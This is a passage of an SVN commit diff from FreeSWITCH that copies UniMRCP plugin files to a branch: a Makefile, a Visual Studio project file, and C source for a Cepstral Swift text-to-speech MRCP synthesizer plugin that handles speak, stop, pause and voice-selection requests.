+					synth_header->completion_cause = SYNTHESIZER_COMPLETION_CAUSE_NORMAL;
+					mrcp_resource_header_property_add(message,SYNTHESIZER_HEADER_COMPLETION_CAUSE);
+				}
+				/* set request state */
+				message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+
+				synth_channel->speak_request = NULL;
+				if(synth_channel->audio_file) {
+					fclose(synth_channel->audio_file);
+					synth_channel->audio_file = NULL;
+				}
+				/* send asynch event */
+				mrcp_engine_channel_message_send(synth_channel->channel,message);
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t demo_synth_msg_signal(demo_synth_msg_type_e type, mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	apt_bool_t status = FALSE;
+	demo_synth_channel_t *demo_channel = channel->method_obj;
+	demo_synth_engine_t *demo_engine = demo_channel->demo_engine;
+	apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+	apt_task_msg_t *msg = apt_task_msg_get(task);
+	if(msg) {
+		demo_synth_msg_t *demo_msg;
+		msg->type = TASK_MSG_USER;
+		demo_msg = (demo_synth_msg_t*) msg->data;
+
+		demo_msg->type = type;
+		demo_msg->channel = channel;
+		demo_msg->request = request;
+		status = apt_task_msg_signal(task,msg);
+	}
+	return status;
+}
+
+static apt_bool_t demo_synth_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	demo_synth_msg_t *demo_msg = (demo_synth_msg_t*)msg->data;
+	switch(demo_msg->type) {
+		case DEMO_SYNTH_MSG_OPEN_CHANNEL:
+			/* open channel and send asynch response */
+			mrcp_engine_channel_open_respond(demo_msg->channel,TRUE);
+			break;
+		case DEMO_SYNTH_MSG_CLOSE_CHANNEL:
+			/* close channel, make sure there is no activity and send asynch response */
+			mrcp_engine_channel_close_respond(demo_msg->channel);
+			break;
+		case DEMO_SYNTH_MSG_REQUEST_PROCESS:
+			demo_synth_channel_request_dispatch(demo_msg->channel,demo_msg->request);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-cepstral)

Property changes: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-cepstral/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+MAINTAINERCLEANFILES 	   = Makefile.in
+
+INCLUDES                   = -Iinclude \
+                             -I$(top_srcdir)/libs/mrcp-engine/include \
+                             -I$(top_srcdir)/libs/mrcp/include \
+                             -I$(top_srcdir)/libs/mrcp/message/include \
+                             -I$(top_srcdir)/libs/mrcp/control/include \
+                             -I$(top_srcdir)/libs/mrcp/resources/include \
+                             -I$(top_srcdir)/libs/mpf/include \
+                             -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES) $(UNIMRCP_SWIFT_INCLUDES)
+
+plugin_LTLIBRARIES         = mrcpcepstral.la
+
+mrcpcepstral_la_SOURCES    = src/mrcp_swift.c
+mrcpcepstral_la_LDFLAGS    = -module $(PLUGIN_LT_VERSION) $(UNIMRCP_SWIFT_LDFLAGS)
+mrcpcepstral_la_LIBADD     = $(UNIMRCP_SWIFT_LIBS) 

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/mrcpcepstral.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/mrcpcepstral.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-cepstral/mrcpcepstral.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/mrcpcepstral.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/mrcpcepstral.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpcepstral"
+	ProjectGUID="{729EF28E-38C9-40DE-A138-87785F021411}"
+	RootNamespace="mrcpcepstral"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops;$(ProjectDir)..\..\build\vsprops\cepstral.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops;$(ProjectDir)..\..\build\vsprops\cepstral.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_swift.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/src (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-cepstral/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/src/mrcp_swift.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/src/mrcp_swift.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/mrcp-cepstral/src/mrcp_swift.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/src/mrcp_swift.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/mrcp-cepstral/src/mrcp_swift.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,701 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Some mandatory rules concerning plugin implementation.
+ * 1. Each plugin MUST contain the following function as an entry point of the plugin
+ *        MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+ * 2. One and only one response MUST be sent back to the received request.
+ * 3. Methods (callbacks) of the MRCP engine channel MUST not block.
+ *   (asynch response can be sent from the context of other thread)
+ * 4. Methods (callbacks) of the MPF engine stream MUST not block.
+ */
+
+#include <swift.h>
+#include "mrcp_resource_engine.h"
+#include "mrcp_synth_resource.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_message.h"
+#include "mpf_buffer.h"
+#include "apt_log.h"
+
+/** Declaration of synthesizer engine methods */
+static apt_bool_t mrcp_swift_engine_destroy(mrcp_resource_engine_t *engine);
+static apt_bool_t mrcp_swift_engine_open(mrcp_resource_engine_t *engine);
+static apt_bool_t mrcp_swift_engine_close(mrcp_resource_engine_t *engine);
+static mrcp_engine_channel_t* mrcp_swift_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool);
+
+static const struct mrcp_engine_method_vtable_t engine_vtable = {
+	mrcp_swift_engine_destroy,
+	mrcp_swift_engine_open,
+	mrcp_swift_engine_close,
+	mrcp_swift_engine_channel_create
+};
+
+
+/** Declaration of synthesizer channel methods */
+static apt_bool_t mrcp_swift_channel_destroy(mrcp_engine_channel_t *channel);
+static apt_bool_t mrcp_swift_channel_open(mrcp_engine_channel_t *channel);
+static apt_bool_t mrcp_swift_channel_close(mrcp_engine_channel_t *channel);
+static apt_bool_t mrcp_swift_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request);
+
+static const struct mrcp_engine_channel_method_vtable_t channel_vtable = {
+	mrcp_swift_channel_destroy,
+	mrcp_swift_channel_open,
+	mrcp_swift_channel_close,
+	mrcp_swift_channel_request_process
+};
+
+/** Declaration of synthesizer audio stream methods */
+static apt_bool_t synth_stream_destroy(mpf_audio_stream_t *stream);
+static apt_bool_t synth_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t synth_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t synth_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	synth_stream_destroy,
+	synth_stream_open,
+	synth_stream_close,
+	synth_stream_read,
+	NULL,
+	NULL,
+	NULL
+};
+
+typedef struct mrcp_swift_channel_t mrcp_swift_channel_t;
+/** Declaration of Swift synthesizer channel */
+struct mrcp_swift_channel_t {
+	/** Swift port */
+	swift_port            *port;
+	swift_background_t     tts_stream;
+
+	/** Audio buffer */
+	mpf_buffer_t          *audio_buffer;
+
+	/** Engine channel base */
+	mrcp_engine_channel_t *channel;
+
+	/** Active (in-progress) speak request */
+	mrcp_message_t        *speak_request;
+	/** Pending stop response */
+	mrcp_message_t        *stop_response;
+	/** Is paused */
+	apt_bool_t             paused;
+};
+
+/** Table of prosody volumes for Swift engine */
+static const int swift_prosody_volume_table[PROSODY_VOLUME_COUNT] = {
+	25,  /* PROSODY_VOLUME_SILENT */
+	50,  /* PROSODY_VOLUME_XSOFT */
+	75,  /* PROSODY_VOLUME_SOFT */
+	100, /* PROSODY_VOLUME_MEDIUM */
+	125, /* PROSODY_VOLUME_LOUD */
+	150, /* PROSODY_VOLUME_XLOUD */
+	100  /* PROSODY_VOLUME_DEFAULT */
+};
+
+/** Table of prosody rates for Swift engine */
+static const int swift_prosody_rate_table[PROSODY_RATE_COUNT] = {
+	85,  /* PROSODY_RATE_XSLOW */
+	113, /* PROSODY_RATE_SLOW */
+	170, /* PROSODY_RATE_MEDIUM */
+	225, /* PROSODY_RATE_FAST */
+	340, /* PROSODY_RATE_XFAST */
+	170  /* PROSODY_RATE_DEFAULT */
+};
+
+static apr_table_t *swift_speech_language_table;
+
+static apr_table_t* mrcp_swift_language_table_create(apr_pool_t *pool);
+static void mrcp_swift_voices_show(swift_engine *engine);
+static swift_result_t mrcp_swift_write_audio(swift_event *event, swift_event_t type, void *udata);
+static apt_bool_t mrcp_swift_channel_voice_set(mrcp_swift_channel_t *synth_channel, mrcp_message_t *message);
+static apt_bool_t mrcp_swift_channel_params_set(mrcp_swift_channel_t *synth_channel, mrcp_message_t *message);
+
+/** Declare this macro to use log routine of the server, plugin is loaded from */
+MRCP_PLUGIN_LOGGER_IMPLEMENT
+
+/** Create Swift synthesizer engine */
+MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+{
+	swift_engine *synth_engine;
+	mrcp_resource_engine_t *engine;
+	/* open swift engine */
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open Swift Engine [%s]",swift_version);
+	if((synth_engine = swift_engine_open(NULL)) ==  NULL) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open Swift Engine");
+		return NULL;
+	}
+	swift_speech_language_table = mrcp_swift_language_table_create(pool);
+	mrcp_swift_voices_show(synth_engine);
+
+	/* create resource engine base */
+	engine = mrcp_resource_engine_create(
+					MRCP_SYNTHESIZER_RESOURCE, /* MRCP resource identifier */
+					synth_engine,              /* object to associate */
+					&engine_vtable,            /* virtual methods table of resource engine */
+					pool);                     /* pool to allocate memory from */
+	if(!engine) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Resource Engine");
+		swift_engine_close(synth_engine);
+	}
+	return engine;
+}
+
+/** Destroy synthesizer engine */
+static apt_bool_t mrcp_swift_engine_destroy(mrcp_resource_engine_t *engine)
+{
+	swift_engine *synth_engine = engine->obj;
+	/* close swift engine */
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close Swift Engine");
+	if(synth_engine) {
+		swift_engine_close(synth_engine);
+		engine->obj = NULL;
+	}
+	return TRUE;
+}
+
+/** Open synthesizer engine */
+static apt_bool_t mrcp_swift_engine_open(mrcp_resource_engine_t *engine)
+{
+	return TRUE;
+}
+
+/** Close synthesizer engine */
+static apt_bool_t mrcp_swift_engine_close(mrcp_resource_engine_t *engine)
+{
+	return TRUE;
+}
+
+/** Create demo synthesizer channel derived from engine channel base */
+static mrcp_engine_channel_t* mrcp_swift_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool)
+{
+	swift_engine *synth_engine = engine->obj;
+	mrcp_swift_channel_t *synth_channel;
+	mrcp_engine_channel_t *channel;
+	swift_params *params;
+	swift_port *port;
+	mpf_codec_descriptor_t *codec_descriptor;
+
+	codec_descriptor = apr_palloc(pool,sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(codec_descriptor);
+	codec_descriptor->channel_count = 1;
+	codec_descriptor->payload_type = 96;
+	apt_string_set(&codec_descriptor->name,"LPCM");
+	codec_descriptor->sampling_rate = 8000;
+
+	params = swift_params_new(NULL);
+	swift_params_set_string(params, "audio/encoding", "pcm16");
+	swift_params_set_int(params, "audio/sampling-rate", codec_descriptor->sampling_rate);
+	/* open swift port */ 
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open Swift Port");
+	if((port = swift_port_open(synth_engine,params)) == NULL) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open Swift Port");
+		return NULL;
+	}
+
+	/* create swift synth channel */
+	synth_channel = apr_palloc(pool,sizeof(mrcp_swift_channel_t));
+	synth_channel->speak_request = NULL;
+	synth_channel->stop_response = NULL;
+	synth_channel->paused = FALSE;
+	synth_channel->channel = NULL;
+	synth_channel->port = port;
+	synth_channel->tts_stream = 0;
+	/* create engine channel base */
+	channel = mrcp_engine_source_channel_create(
+			engine,               /* resource engine */
+			&channel_vtable,      /* virtual methods table of engine channel */
+			&audio_stream_vtable, /* virtual methods table of audio stream */
+			synth_channel,        /* object to associate */
+			codec_descriptor,     /* codec descriptor might be NULL by default */
+			pool);                /* pool to allocate memory from */
+
+	if(!channel) {
+		swift_port_close(port);
+		synth_channel->port = NULL;
+		return NULL;
+	}
+
+	synth_channel->audio_buffer = mpf_buffer_create(pool);
+
+	/* set swift_write_audio as a callback, with the output file as its param */
+	swift_port_set_callback(port, &mrcp_swift_write_audio, SWIFT_EVENT_AUDIO | SWIFT_EVENT_END, synth_channel);
+	synth_channel->channel = channel;
+	return channel;
+}
+
+/** Destroy engine channel */
+static apt_bool_t mrcp_swift_channel_destroy(mrcp_engine_channel_t *channel)
+{
+	mrcp_swift_channel_t *synth_channel = channel->method_obj;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close Swift Port");
+	if(synth_channel->port) {
+		/* close swift port */ 
+		swift_port_close(synth_channel->port);
+		synth_channel->port = NULL;
+	}
+	return TRUE;
+}
+
+/** Open engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t mrcp_swift_channel_open(mrcp_engine_channel_t *channel)
+{
+	/* open channel and send asynch response */
+	return mrcp_engine_channel_open_respond(channel,TRUE);
+}
+
+/** Close engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t mrcp_swift_channel_close(mrcp_engine_channel_t *channel)
+{
+	/* close channel, make sure there is no activity and send asynch response */
+	return mrcp_engine_channel_close_respond(channel);
+}
+
+/** Process SPEAK request */
+static apt_bool_t mrcp_swift_channel_speak(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_swift_channel_t *synth_channel = channel->method_obj;
+
+	/* set voice */
+	mrcp_swift_channel_voice_set(synth_channel,request);
+	/* set params */
+	mrcp_swift_channel_params_set(synth_channel,request);
+	/* (re)start audio buffer */
+	mpf_buffer_restart(synth_channel->audio_buffer);
+	response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	/* start to synthesize */
+	if(swift_port_speak_text(synth_channel->port,request->body.buf,0,NULL,&synth_channel->tts_stream,NULL) != SWIFT_SUCCESS) {
+		response->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+		response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+	}
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	synth_channel->speak_request = request;
+	return TRUE;
+}
+
+/** Process STOP request */
+static apt_bool_t mrcp_swift_channel_stop(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_swift_channel_t *synth_channel = channel->method_obj;
+	/* store the request, make sure there is no more activity and only then send the response */
+	swift_port_stop(synth_channel->port,synth_channel->tts_stream,SWIFT_EVENT_NOW);
+	synth_channel->stop_response = response;
+	return TRUE;
+}
+
+/** Process PAUSE request */
+static apt_bool_t mrcp_swift_channel_pause(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_swift_channel_t *synth_channel = channel->method_obj;
+	synth_channel->paused = TRUE;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process RESUME request */
+static apt_bool_t mrcp_swift_channel_resume(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_swift_channel_t *synth_channel = channel->method_obj;
+	synth_channel->paused = FALSE;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process CONTROL request */
+static apt_bool_t mrcp_swift_channel_control(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_swift_channel_t *synth_channel = channel->method_obj;
+	/* set params */
+	mrcp_swift_channel_params_set(synth_channel,request);
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process MRCP channel request (asynchronous response MUST be sent)*/
+static apt_bool_t mrcp_swift_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	apt_bool_t processed = FALSE;
+	mrcp_message_t *response = mrcp_response_create(request,request->pool);
+	switch(request->start_line.method_id) {
+		case SYNTHESIZER_SET_PARAMS:
+			break;
+		case SYNTHESIZER_GET_PARAMS:
+			break;
+		case SYNTHESIZER_SPEAK:
+			processed = mrcp_swift_channel_speak(channel,request,response);
+			break;
+		case SYNTHESIZER_STOP:
+			processed = mrcp_swift_channel_stop(channel,request,response);
+			break;
+		case SYNTHESIZER_PAUSE:
+			processed = mrcp_swift_channel_pause(channel,request,response);
+			break;
+		case SYNTHESIZER_RESUME:
+			processed = mrcp_swift_channel_resume(channel,request,response);
+			break;
+		case SYNTHESIZER_BARGE_IN_OCCURRED:
+			processed = mrcp_swift_channel_stop(channel,request,response);
+			break;
+		case SYNTHESIZER_CONTROL:
+			processed = mrcp_swift_channel_control(channel,request,response);
+			break;
+		case SYNTHESIZER_DEFINE_LEXICON:
+			break;
+		default:
+			break;
+	}
+	if(processed == FALSE) {
+		/* send asynchronous response for not handled request */
+		mrcp_engine_channel_message_send(channel,response);
+	}
+	return TRUE;
+}
+
+
+
+/** Callback is called from MPF engine context to destroy any additional data associated with audio stream */
+static apt_bool_t synth_stream_destroy(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform any action before open */
+static apt_bool_t synth_stream_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform any action after close */
+static apt_bool_t synth_stream_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Raise SPEAK-COMPLETE event */
+static apt_bool_t synth_speak_complete_raise(mrcp_swift_channel_t *synth_channel)
+{
+	mrcp_message_t *message;
+	mrcp_synth_header_t *synth_header;
+	if(!synth_channel->speak_request) {
+		return FALSE;
+	}
+	message = mrcp_event_create(
+						synth_channel->speak_request,
+						SYNTHESIZER_SPEAK_COMPLETE,
+						synth_channel->speak_request->pool);
+	if(!message) {
+		return FALSE;
+	}
+	
+	/* get/allocate synthesizer header */
+	synth_header = mrcp_resource_header_prepare(message);
+	if(synth_header) {
+		/* set completion cause */
+		synth_header->completion_cause = SYNTHESIZER_COMPLETION_CAUSE_NORMAL;
+		mrcp_resource_header_property_add(message,SYNTHESIZER_HEADER_COMPLETION_CAUSE);
+	}
+	/* set request state */
+	message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+
+	synth_channel->speak_request = NULL;
+	/* send asynch event */
+	return mrcp_engine_channel_message_send(synth_channel->channel,message);
+}
+
+/** Callback is called from MPF engine context to read/get new frame */
+static apt_bool_t synth_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	mrcp_swift_channel_t *synth_channel = stream->obj;
+	/* check if STOP was requested */
+	if(synth_channel->stop_response) {
+		/* send asynchronous response to STOP request */
+		mrcp_engine_channel_message_send(synth_channel->channel,synth_channel->stop_response);
+		synth_channel->stop_response = NULL;
+		synth_channel->speak_request = NULL;
+		synth_channel->paused = FALSE;
+		return TRUE;
+	}
+
+	/* check if there is active SPEAK request and it isn't in paused state */
+	if(synth_channel->speak_request && synth_channel->paused == FALSE) {
+		/* normal processing */
+		mpf_buffer_frame_read(synth_channel->audio_buffer,frame);
+		
+		if((frame->type & MEDIA_FRAME_TYPE_EVENT) == MEDIA_FRAME_TYPE_EVENT) {
+			synth_speak_complete_raise(synth_channel);
+		}
+	}
+	return TRUE;
+}
+
+/** Swift engine callback */
+static swift_result_t mrcp_swift_write_audio(swift_event *event, swift_event_t type, void *udata)
+{
+	void *buf;
+	int len;
+	mrcp_swift_channel_t *synth_channel = udata;
+	swift_event_t rv = SWIFT_SUCCESS;
+
+	if(type & SWIFT_EVENT_END) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Engine: Write End-of-Speech Event");
+		mpf_buffer_event_write(synth_channel->audio_buffer,MEDIA_FRAME_TYPE_EVENT);
+		return rv;
+	}
+
+	rv = swift_event_get_audio(event, &buf, &len);
+	if(!SWIFT_FAILED(rv)) {
+#if 0
+		/* Get the event times */
+		float time_start, time_len; 
+		swift_event_get_times(event, &time_start, &time_len);
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Swift Engine: Write Audio [%d | %0.4f | %0.4f]",len, time_start, time_len);
+#endif
+		mpf_buffer_audio_write(synth_channel->audio_buffer,buf,len);
+	}
+
+	return rv;
+}
+
+/** Add delimiter (&) to search criteria */
+static APR_INLINE int search_criteria_delimiter_add(char *search_criteria, int size, apt_bool_t initial)
+{
+	if(initial == FALSE && size >= 3) {
+		search_criteria[0] = ' ';
+		search_criteria[1] = '&';
+		search_criteria[2] = ' ';
+		return 3;
+	}
+	return 0;
+}
+
+/** Set voice matching specified criteria */
+static apt_bool_t mrcp_swift_channel_voice_set(mrcp_swift_channel_t *synth_channel, mrcp_message_t *message)
+{
+	mrcp_synth_header_t *synth_header = mrcp_resource_header_get(message);
+	char search_criteria[1024];
+	int offset = 0;
+	swift_voice *voice;
+	swift_result_t res;
+
+	if(!synth_header) {
+		/* no params to set */
+		return TRUE;
+	}
+
+	if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_VOICE_NAME) == TRUE) {
+		offset += search_criteria_delimiter_add(search_criteria+offset,sizeof(search_criteria)-offset,(offset == 0));
+		offset += apr_snprintf(search_criteria+offset,sizeof(search_criteria)-offset,"speaker/name=%s",synth_header->voice_param.name.buf);
+	}
+	if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_VOICE_GENDER) == TRUE) {
+		switch(synth_header->voice_param.gender) {
+			case VOICE_GENDER_MALE:
+				offset += search_criteria_delimiter_add(search_criteria+offset,sizeof(search_criteria)-offset,offset == 0);
+				offset += apr_snprintf(search_criteria+offset,sizeof(search_criteria)-offset,"speaker/gender=male");
+				break;
+			case VOICE_GENDER_FEMALE:
+				offset += search_criteria_delimiter_add(search_criteria+offset,sizeof(search_criteria)-offset,offset == 0);
+				offset += apr_snprintf(search_criteria+offset,sizeof(search_criteria)-offset,"speaker/gender=female");
+				break;
+			default:
+				break;
+		}
+	}
+	if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_VOICE_AGE) == TRUE) {
+		offset += search_criteria_delimiter_add(search_criteria+offset,sizeof(search_criteria)-offset,offset == 0);
+		offset += apr_snprintf(search_criteria+offset,sizeof(search_criteria)-offset,"speaker/age=%d",synth_header->voice_param.age);
+	}
+	if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_SPEECH_LANGUAGE) == TRUE) {
+		const char *swift_lang_name = NULL;
+		if(swift_speech_language_table) {
+			swift_lang_name = apr_table_get(swift_speech_language_table,synth_header->speech_language.buf);
+		}
+		if(!swift_lang_name) {
+			swift_lang_name = synth_header->speech_language.buf;
+		}
+		offset += search_criteria_delimiter_add(search_criteria+offset,sizeof(search_criteria)-offset,offset == 0);
+		offset += apr_snprintf(search_criteria+offset,sizeof(search_criteria)-offset,"language/name=%s",swift_lang_name);
+	}
+
+	if(offset > 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Find Voices Matching the Criteria [%s]",search_criteria);
+		if((voice = swift_port_find_first_voice(synth_channel->port,search_criteria,NULL)) == NULL) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"No Swift Voice Available Matching the Criteria [%s]",search_criteria);
+			voice = swift_port_find_first_voice(synth_channel->port,NULL,NULL);
+		}
+		if(SWIFT_FAILED(res = swift_port_set_voice(synth_channel->port,voice)) ) {
+			const char *error_string = swift_strerror(res);
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,error_string);
+			return FALSE;
+		} 
+	}
+	return TRUE;
+}
+
+apt_bool_t swift_prosody_volume_get(const mrcp_prosody_volume_t *prosody_volume, int *volume)
+{
+	apt_bool_t res = FALSE;
+	if(prosody_volume->type == PROSODY_VOLUME_TYPE_LABEL) {
+		if(prosody_volume->value.label < PROSODY_VOLUME_COUNT) {
+			*volume = swift_prosody_volume_table[prosody_volume->value.label];
+			res = TRUE;
+		}
+	}
+	else if(prosody_volume->type == PROSODY_VOLUME_TYPE_NUMERIC) {
+		*volume = (int)prosody_volume->value.numeric;
+		res = TRUE;
+	}
+	else if(prosody_volume->type == PROSODY_VOLUME_TYPE_RELATIVE_CHANGE) {
+		int def = swift_prosody_volume_table[PROSODY_VOLUME_DEFAULT];
